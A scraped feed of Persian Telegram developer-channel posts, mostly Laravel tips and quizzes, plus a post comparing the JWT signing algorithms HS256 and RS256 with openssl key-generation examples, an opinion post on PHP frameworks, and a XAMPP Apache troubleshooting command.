@GoldenCodeir
(بهمنبع و مثالش دقت کنید 👇🏾)
https://x.com/OussamaMater/status/1852091480598368686?s=35
❤2👍1
Forwarded from Pishro App
سلام بچه ها همونطور که میدونید Scheduler در #لاراول، ابزاری هست که به ما این امکان رو میده تا دستورات و کارها را بدون نیاز به تنظیمات پیچیده بصورت زمانبندیشده اجرا کنید.
با استفاده از Scheduler، میتونیم کارهایی مثل ارسال ایمیل، پاکسازی پایگاهداده، انجام عملیات های دوره ای، یا انجام وظایف تکراری را بهسادگی انجام بدیم.
توی Scheduler لاراول یه متد وجود داره بنام skip، این متد در زمانبندی (Scheduler) به ما این امکان رو میده که اجرای یه دستور رو تو شرایط خاصی متوقف کنیم.
در واقع، متد skip یه شرط تعیین میکنه که اگه اون شرط برقرار باشه، اجرای دستور مربوطه در زمانبندی به صورت خودکار نادیده گرفته میشه و در آن زمان اجرا نشود
مثلا فرض کنید شما میخواید به کاربرانتون هر روز هفته ایمیل خاصی رو اجرا کنید بجز روز های تعطیل
با این متد می تونید به راحتی بصورت زیر اینکار رو انجام بدین
تو نمونهی بالا شرط skip تعیین کرده که اگه متد Calendar::isHoliday() مقدار true برگرداند (یعنی آن روز، تعطیل باشه)، این دستور اجرا نشود.
#laravel
👾 @pishroapp
با استفاده از Scheduler، میتونیم کارهایی مثل ارسال ایمیل، پاکسازی پایگاهداده، انجام عملیات های دوره ای، یا انجام وظایف تکراری را بهسادگی انجام بدیم.
توی Scheduler لاراول یه متد وجود داره بنام skip، این متد در زمانبندی (Scheduler) به ما این امکان رو میده که اجرای یه دستور رو تو شرایط خاصی متوقف کنیم.
در واقع، متد skip یه شرط تعیین میکنه که اگه اون شرط برقرار باشه، اجرای دستور مربوطه در زمانبندی به صورت خودکار نادیده گرفته میشه و در آن زمان اجرا نشود
مثلا فرض کنید شما میخواید به کاربرانتون هر روز هفته ایمیل خاصی رو اجرا کنید بجز روز های تعطیل
با این متد می تونید به راحتی بصورت زیر اینکار رو انجام بدین
$schedule->command('emails:send')->daily()->skip(function () {
return Calendar::isHoliday();
});
تو نمونهی بالا شرط skip تعیین کرده که اگه متد Calendar::isHoliday() مقدار true برگرداند (یعنی آن روز، تعطیل باشه)، این دستور اجرا نشود.
#laravel
Please open Telegram to view this post
VIEW IN TELEGRAM
👍7👏1
در لاراول اگه بخوایم یک Job رو به صف (Queue) ارسال کنیم ،از کدوم متود باید استفاده بشه؟
Final Results
12%
dispatchNow()
32%
queue()
8%
handle()
48%
dispatch()
❤5🔥1
در لاراول Deferred Providers یعنی یک Service Provider فقط زمانی بارگذاری میشه که نیاز بهش باشه. به این معنی که اگه یک سرویس فقط در مواقع خاصی استفاده بشه، لاراول تا وقتی که به اون سرویس نیاز نباشه اونو بارگذاری نمیکنه !
این کار باعث بهبود performance میشه. برای استفاده ازین ویژگی، کافیه که از یک متود تحت عنوان DeferrableProvider استفاده کنید تا مشخص کنید این Provider فقط وقتی لازم است، فعال بشه.
#laravel
@GoldenCodeir
(بهمنبع و مثالش دقت کنید 👇🏾)
https://x.com/OussamaMater/status/1853545833624449210?t=NJ15b0FWU2ddZxhJJnUGug&s=35
این کار باعث بهبود performance میشه. برای استفاده ازین ویژگی، کافیه که از یک متود تحت عنوان DeferrableProvider استفاده کنید تا مشخص کنید این Provider فقط وقتی لازم است، فعال بشه.
#laravel
@GoldenCodeir
(بهمنبع و مثالش دقت کنید 👇🏾)
https://x.com/OussamaMater/status/1853545833624449210?t=NJ15b0FWU2ddZxhJJnUGug&s=35
X (formerly Twitter)
OussamaMater (@OussamaMater) on X
Laravel Tip 💡: Deferred Providers
If you have a service provider that only registers some bindings, you can mark it as deferred by implementing the "DeferrableProvider" interface. This way, it will load only when one of its bindings is needed 🚀
#laravel
If you have a service provider that only registers some bindings, you can mark it as deferred by implementing the "DeferrableProvider" interface. This way, it will load only when one of its bindings is needed 🚀
#laravel
👍8🔥2
Forwarded from Code Module | کد ماژول (genix)
چه الگوریتمی برای ساخت توکن jwt انتخاب کنم؟ 🔒
هنگام پیاده سازی jwt برای اپلیکیشن های خودمون، یکی از تصمیمات کلیدی که باید بگیریم انتخاب الگوریتم امضای مناسب هست. JWT از الگوریتم های مختلفی پشتیبانی میکنه که رایج ترین اون ها HS256 و RS256 هست.
الگوریتم HS256 چیست؟
HS256 یک الگوریتم امضای متقارن هست. در رمزنگاری متقارن، هم برای امضا و هم برای تأیید توکن از یک کلید استفاده میشه. این کار اون رو ساده و کارآمد میکنه.
الگوریتم RS256 چیست؟
RS256، یک الگوریتم امضای نامتقارن هست. برخلاف HS256، از یک جفت کلید استفاده میکنه: یک کلید خصوصی برای امضای توکن و یک کلید عمومی مربوطه برای تأیید اون. این امر RS256 را برای سناریوهایی که طرفهای امضا و تأیید موجودیتهای متفاوتی هستن، مانند سیستمهای توزیعشده یا زمانی که توکنها در سرویسهای مختلف به اشتراک گذاشته میشه، ایمنتر میکنه.
اما رمزنگاری متقارن و نامتقارن چی هستن؟
رمزنگاری متقارن (به عنوان مثال، HS256) : در الگوریتم های متقارن، کلید مخفی یکسانی هم برای امضا و هم برای تأیید استفاده میشه. این رویکرد ساده و کارآمد هست، اما با خطره به خطر افتادن کلید همراه هست، زیرا هر دو طرف باید به طور ایمن یک کلید را به اشتراک بگذارند و مدیریت کنن.
رمزنگاری نامتقارن (به عنوان مثال، RS256) : در الگوریتم های نامتقارن، از دو کلید مختلف استفاده میشه: یک کلید خصوصی برای امضا و یک کلید عمومی برای تأیید. کلید خصوصی باید امن نگه داشته بشه، در حالی که کلید عمومی می تواند آزادانه توزیع بشه. این روش سطح بالاتری از امنیت رو ارائه میده.
به عنوان مثال من در پروژه خودم از RS256 استفاده کردم و به این صورت میتونید جفت کلید (private,public) رو بسازیم(با استفاده از openssl):
-
-
برای امضا و تایید این کلید ها میتونیم اینکار انجام بدیم:
برخی از best Practices برای ساخت کلید ها :
1. کلید خصوصی خودتون رو پابلیک نکنید: کلید خصوصی شما باید همیشه محرمانه بمونه.
2. استفاده از کلیدهای قوی: هنگام تولید کلیدهای RSA، اندازه کلید حداقل 2048 بیت برای RS256 توصیه میشه.
3. انقضای توکن: همیشه یک زمان انقضا معقول برای توکنهای خود («exp») تعیین کنین تا خطر استفاده طولانیمدت از توکنهای دزدیده شده رو کاهش بده.
انتخاب بین HS256 و RS256 بستگی به نیازهای خاص پروژه شما داره. اگر برای کارایی و سادگی ارزش قائل هستید و روی امضا و تأیید کنترل دارید، HS256 انتخاب خوبی هست. از طرف دیگه اگر امنیت اولویت بیشتری داره. RS256 گزینه امنتری هست.
#jwt
@CodeModule
هنگام پیاده سازی jwt برای اپلیکیشن های خودمون، یکی از تصمیمات کلیدی که باید بگیریم انتخاب الگوریتم امضای مناسب هست. JWT از الگوریتم های مختلفی پشتیبانی میکنه که رایج ترین اون ها HS256 و RS256 هست.
الگوریتم HS256 چیست؟
HS256 یک الگوریتم امضای متقارن هست. در رمزنگاری متقارن، هم برای امضا و هم برای تأیید توکن از یک کلید استفاده میشه. این کار اون رو ساده و کارآمد میکنه.
چه زمانی از HS256 استفاده کنیم؟
اگر عملکرد یک نگرانی کلیدی هست و شما در یک محیط قابل اعتماد کار می کنید (جایی که هر دو طرف امضا و تأیید یک راز رو به اشتراک میذارن)، HS256 میتونه انتخاب خوبی باشه. با این حال، از اونجا که امضا و تأیید هر دو به یک کلید متکی هستن، راز باید به طور ایمن محافظت بشه.
الگوریتم RS256 چیست؟
RS256، یک الگوریتم امضای نامتقارن هست. برخلاف HS256، از یک جفت کلید استفاده میکنه: یک کلید خصوصی برای امضای توکن و یک کلید عمومی مربوطه برای تأیید اون. این امر RS256 را برای سناریوهایی که طرفهای امضا و تأیید موجودیتهای متفاوتی هستن، مانند سیستمهای توزیعشده یا زمانی که توکنها در سرویسهای مختلف به اشتراک گذاشته میشه، ایمنتر میکنه.
چه زمانی از RS256 استفاده کنیم؟
اگر نگرانی اصلی شما امنیت هست، به ویژه در مواردی که چندین سرویس درگیر هستن و اعتبار سنجی توکن در محیط های مختلف اتفاق میوفته، RS256 به شدت توصیه میشه. با RS256، تنها نهادی که کلید خصوصی رو در اختیار داره میتونه توکنهای معتبر صادر کنه، در حالی که هر کسی که به کلید عمومی دسترسی داره میتونه اون ها رو تأیید کنه.
اما رمزنگاری متقارن و نامتقارن چی هستن؟
رمزنگاری متقارن (به عنوان مثال، HS256) : در الگوریتم های متقارن، کلید مخفی یکسانی هم برای امضا و هم برای تأیید استفاده میشه. این رویکرد ساده و کارآمد هست، اما با خطره به خطر افتادن کلید همراه هست، زیرا هر دو طرف باید به طور ایمن یک کلید را به اشتراک بگذارند و مدیریت کنن.
رمزنگاری نامتقارن (به عنوان مثال، RS256) : در الگوریتم های نامتقارن، از دو کلید مختلف استفاده میشه: یک کلید خصوصی برای امضا و یک کلید عمومی برای تأیید. کلید خصوصی باید امن نگه داشته بشه، در حالی که کلید عمومی می تواند آزادانه توزیع بشه. این روش سطح بالاتری از امنیت رو ارائه میده.
به عنوان مثال من در پروژه خودم از RS256 استفاده کردم و به این صورت میتونید جفت کلید (private,public) رو بسازیم(با استفاده از openssl):
openssl genrsa -out token.prv.key 2048
openssl rsa -in token.prv.key -pubout -out token.pub.key
-
token.prv.key: کلید خصوصی مورد استفاده برای امضای JWT.-
token.pub.key: کلید عمومی مورد استفاده برای تأیید JWT.برای امضا و تایید این کلید ها میتونیم اینکار انجام بدیم:
// sign token with private key
jwt.sign(payload, prvkey, {
expiresIn: exp,
algorithm: 'RS256',
});
// verify token with public key
jwt.verify(token, pubkey, { algorithms: ['RS256'] })
برخی از best Practices برای ساخت کلید ها :
1. کلید خصوصی خودتون رو پابلیک نکنید: کلید خصوصی شما باید همیشه محرمانه بمونه.
2. استفاده از کلیدهای قوی: هنگام تولید کلیدهای RSA، اندازه کلید حداقل 2048 بیت برای RS256 توصیه میشه.
3. انقضای توکن: همیشه یک زمان انقضا معقول برای توکنهای خود («exp») تعیین کنین تا خطر استفاده طولانیمدت از توکنهای دزدیده شده رو کاهش بده.
انتخاب بین HS256 و RS256 بستگی به نیازهای خاص پروژه شما داره. اگر برای کارایی و سادگی ارزش قائل هستید و روی امضا و تأیید کنترل دارید، HS256 انتخاب خوبی هست. از طرف دیگه اگر امنیت اولویت بیشتری داره. RS256 گزینه امنتری هست.
#jwt
@CodeModule
👍5
در لاراول متود toggle برای تغییر وضعیت یک ویژگی boolean به کار میره و بهطور خودکار وضعیت رو تغییر میده.
ینی چی؟
مثلاً اگه یک ویژگی مثل "لایک" وجود داشته باشه، این متود وضعیت اونو از "like" به "dislike" یا برعکس تغییر میده،یعنی بدون اینکه نیاز به نوشتن کد اضافی داشته باشیم.
در تصویر زیر تاثیرش بر کوتاه شدنه کد رو به خوبی متوجه میبنید👌🏾
#laravel
@GoldenCodeir
(بهمنبع و مثالش دقت کنید 👇🏾)
https://x.com/OussamaMater/status/1854985544075252021?t=04wuOseETi6fhChi1rBf1w&s=35
ینی چی؟
مثلاً اگه یک ویژگی مثل "لایک" وجود داشته باشه، این متود وضعیت اونو از "like" به "dislike" یا برعکس تغییر میده،یعنی بدون اینکه نیاز به نوشتن کد اضافی داشته باشیم.
در تصویر زیر تاثیرش بر کوتاه شدنه کد رو به خوبی متوجه میبنید👌🏾
#laravel
@GoldenCodeir
(بهمنبع و مثالش دقت کنید 👇🏾)
https://x.com/OussamaMater/status/1854985544075252021?t=04wuOseETi6fhChi1rBf1w&s=35
X (formerly Twitter)
OussamaMater (@OussamaMater) on X
Laravel Tip 💡: The "toggle" method
At some point, we all needed to toggle a value, for example, a "like" feature that switches between states. While you can do it manually, Laravel ships with a "toggle" method to do exactly that 🚀
#laravel
At some point, we all needed to toggle a value, for example, a "like" feature that switches between states. While you can do it manually, Laravel ships with a "toggle" method to do exactly that 🚀
#laravel
👍5🔥2
در لاراول کدوم متود برای ذخیره extra attributes در pivot table برای رابطه ManyToMany استفاده میشه؟؟
Anonymous Quiz
16%
updateExistingPivot()
38%
withPivot()
36%
attach()
9%
sync()
❤5
با هوش مصنوعی پاسخ سوالاتتون رو خیلی سریعتر پیدا کنید🤖❤️🔥
مزیت ها:
- رایگان
- دسترسی به اینترنت (اطلاعات بروز)
- مشاهده پیام های قبلی
معایت:
- تنها عیبی که بنظرم داره، توضیحات طولانی تری میده که البته هدفش راهنمایی جامع هست. اما میتوانید با جمله «توضیحات کوتاه میخوام» بهش دستور بدین تا این مشکل رو هم نداشته باشه
ازش لذت ببرید👍
#هوش_مصنوعی
@GoldenCodeir
https://gemini.google.com
مزیت ها:
- رایگان
- دسترسی به اینترنت (اطلاعات بروز)
- مشاهده پیام های قبلی
معایت:
- تنها عیبی که بنظرم داره، توضیحات طولانی تری میده که البته هدفش راهنمایی جامع هست. اما میتوانید با جمله «توضیحات کوتاه میخوام» بهش دستور بدین تا این مشکل رو هم نداشته باشه
ازش لذت ببرید👍
#هوش_مصنوعی
@GoldenCodeir
https://gemini.google.com
Gemini
Google Gemini
Meet Gemini, Google’s AI assistant. Get help with writing, planning, brainstorming, and more. Experience the power of generative AI.
🔥3👍2
پارسا هستم اولین پیامی هست که تو این کانال دارم ارسال میکنم
خواستم یه موضوعی رو بگم که در واقع تجربه چندین ساله منه تو این stack :
من موقع شروع php ورژن 5.6 داشتم کار میکردم که الان تا 8.4 اومده
لاراول اون موقع ورژنش 6 بود فکر کنم
از اون موقعست با لاراول کار کردم تا الان ولی خب موضوعی که هست اینه که و حواستون باید باشه اینه ،
وقتی دارید با لاراول کار میکنید ، در واقع کد نویسی نمیکنید برنامه سازی میکنید ، خیلی فرق دارن این 2 تا کلمه ،
لاراول یه ساختاری ساده ساخته که به راحتی هر نرم افزاری بخوای بنویسی و در واقع واسط چارچوب ساخته و نمیتونی از این چارچوبه در بیای بیرون و ....
در واقع موضوعی که پیش اومده اینه محدود شدیم تو یه ساختار نمیتونیم بیرون بیاییم. و کل دنیای برنامه نویسی ما شده لاراول ، دنیای برنامه نویسی PHP فقط لاراول نیست :)
میکرو فریمورک هایی هم هست که خیلی سرعتشون بالاست
لینک لیست فریم ورک ها اینجاست
لذت ببرید و رتبه لاراول رو هم ببینید به چه حالته ... من حرفی ندارم
من دارم laminas رو یاد میگیرم. که توسط ZEND داره پشتیبانی میشه . و میشه گفت خودت انتخاب میکنی چی باشه و ساختار و skeleton به چه سبکی باشه ...
تقریبا اوایل داشتم برای خودم یه MVC میساختم ولی خب منصرف شدم ...
ولی خب در کل حرف آخرم اینه : سیاست لاراول مثل سیاست ماکروسافته خیلی گستره میره و به نظر من قرار نیست زیاد بالا بالا ها بمونه ....
مشتاقم نظر شما رو هم داخل کامنت ها ببینم 😁😊
@GoldenCodeir
#prs1378
خواستم یه موضوعی رو بگم که در واقع تجربه چندین ساله منه تو این stack :
من موقع شروع php ورژن 5.6 داشتم کار میکردم که الان تا 8.4 اومده
لاراول اون موقع ورژنش 6 بود فکر کنم
از اون موقعست با لاراول کار کردم تا الان ولی خب موضوعی که هست اینه که و حواستون باید باشه اینه ،
وقتی دارید با لاراول کار میکنید ، در واقع کد نویسی نمیکنید برنامه سازی میکنید ، خیلی فرق دارن این 2 تا کلمه ،
لاراول یه ساختاری ساده ساخته که به راحتی هر نرم افزاری بخوای بنویسی و در واقع واسط چارچوب ساخته و نمیتونی از این چارچوبه در بیای بیرون و ....
در واقع موضوعی که پیش اومده اینه محدود شدیم تو یه ساختار نمیتونیم بیرون بیاییم. و کل دنیای برنامه نویسی ما شده لاراول ، دنیای برنامه نویسی PHP فقط لاراول نیست :)
میکرو فریمورک هایی هم هست که خیلی سرعتشون بالاست
لینک لیست فریم ورک ها اینجاست
لذت ببرید و رتبه لاراول رو هم ببینید به چه حالته ... من حرفی ندارم
من دارم laminas رو یاد میگیرم. که توسط ZEND داره پشتیبانی میشه . و میشه گفت خودت انتخاب میکنی چی باشه و ساختار و skeleton به چه سبکی باشه ...
تقریبا اوایل داشتم برای خودم یه MVC میساختم ولی خب منصرف شدم ...
ولی خب در کل حرف آخرم اینه : سیاست لاراول مثل سیاست ماکروسافته خیلی گستره میره و به نظر من قرار نیست زیاد بالا بالا ها بمونه ....
مشتاقم نظر شما رو هم داخل کامنت ها ببینم 😁😊
@GoldenCodeir
#prs1378
www.techempower.com
TechEmpower Framework Benchmarks
Performance comparison of web application frameworks using community-contributed test implementations.
👎11❤5👍1😁1🫡1
Forwarded from Syntax | سینتکس (Daimon)
در برنامهنویسی، اصطلاح "Idiomatic" به معنای استفاده از الگوها و روشهایی است که در یک زبان برنامهنویسی خاص به عنوان استاندارد و رایج شناخته میشوند. این موضوع اهمیت زیادی دارد و چندین دلیل برای آن وجود دارد:
1. خوانایی کد: کدی که به صورت idiomatic نوشته شده باشد، برای سایر برنامهنویسانی که با آن زبان آشنا هستند، راحتتر قابل درک است. این باعث میشود که تیمها به راحتی بتوانند با یکدیگر همکاری کنند.
2. نگهداری آسانتر: کدی که از الگوهای استاندارد پیروی میکند، به راحتی قابل نگهداری و اصلاح است. این امر بهویژه در پروژههای بزرگتر که افراد مختلفی روی آن کار میکنند، بسیار مهم است.
3. عملکرد بهتر: در بسیاری از موارد، استفاده از روشهای idiomatic به بهبود عملکرد کمک میکند، زیرا این روشها اغلب بهترین شیوههای بهینهسازی شده برای زبان مربوطه هستند.
4. کاهش خطاها: پیروی از الگوهای رایج به کاهش خطاها و باگها کمک میکند، زیرا این الگوها معمولاً توسط جامعه توسعهدهندگان آزمایش شدهاند و مطمئنتر هستند.
#idiomatic
@Syntax_fa
1. خوانایی کد: کدی که به صورت idiomatic نوشته شده باشد، برای سایر برنامهنویسانی که با آن زبان آشنا هستند، راحتتر قابل درک است. این باعث میشود که تیمها به راحتی بتوانند با یکدیگر همکاری کنند.
2. نگهداری آسانتر: کدی که از الگوهای استاندارد پیروی میکند، به راحتی قابل نگهداری و اصلاح است. این امر بهویژه در پروژههای بزرگتر که افراد مختلفی روی آن کار میکنند، بسیار مهم است.
3. عملکرد بهتر: در بسیاری از موارد، استفاده از روشهای idiomatic به بهبود عملکرد کمک میکند، زیرا این روشها اغلب بهترین شیوههای بهینهسازی شده برای زبان مربوطه هستند.
4. کاهش خطاها: پیروی از الگوهای رایج به کاهش خطاها و باگها کمک میکند، زیرا این الگوها معمولاً توسط جامعه توسعهدهندگان آزمایش شدهاند و مطمئنتر هستند.
#idiomatic
@Syntax_fa
👍8❤2🔥1
Forwarded from آموزش لاراول | LaravelHub (rwx-rwx-rwx)
حل مشکل اجرای Apache در xampp
اجرای دستور زیر در CMD (اجرا با دسترسی administrator )
🔥⚡️ کانال آموزشی LaravelHub
@LaraveHub
اجرای دستور زیر در CMD (اجرا با دسترسی administrator )
net stop http
🔥⚡️ کانال آموزشی LaravelHub
@LaraveHub
👍7